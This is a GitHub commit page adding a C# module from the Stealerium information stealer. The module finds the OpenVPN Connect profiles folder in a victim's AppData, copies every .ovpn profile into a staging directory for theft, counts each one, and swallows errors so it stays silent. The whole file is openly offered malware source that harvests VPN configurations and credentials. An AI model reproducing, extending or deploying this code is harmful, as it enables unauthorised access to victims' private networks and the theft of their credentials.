-
Notifications
You must be signed in to change notification settings - Fork 4
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
73f3eee
commit 3095f76
Showing
1 changed file
with
38 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
using System; | ||
using System.IO; | ||
using Stealerium.Helpers; | ||
|
||
namespace Stealerium.Target.VPN | ||
{ | ||
internal sealed class OpenVpn | ||
{ | ||
// Save("OpenVPN"); | ||
public static void Save(string sSavePath) | ||
{ | ||
// "OpenVPN connect" directory path | ||
var vpn = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), | ||
"OpenVPN Connect\\profiles"); | ||
// Stop if not exists | ||
if (!Directory.Exists(vpn)) | ||
return; | ||
try | ||
{ | ||
// Create directory to save profiles | ||
Directory.CreateDirectory(sSavePath + "\\profiles"); | ||
// Steal .ovpn files | ||
foreach (var file in Directory.GetFiles(vpn)) | ||
if (Path.GetExtension(file).Contains("ovpn")) | ||
{ | ||
Counter.Vpn++; | ||
File.Copy(file, | ||
Path.Combine(sSavePath, "profiles\\" | ||
+ Path.GetFileName(file))); | ||
} | ||
} | ||
catch | ||
{ | ||
// ignored | ||
} | ||
} | ||
} | ||
} |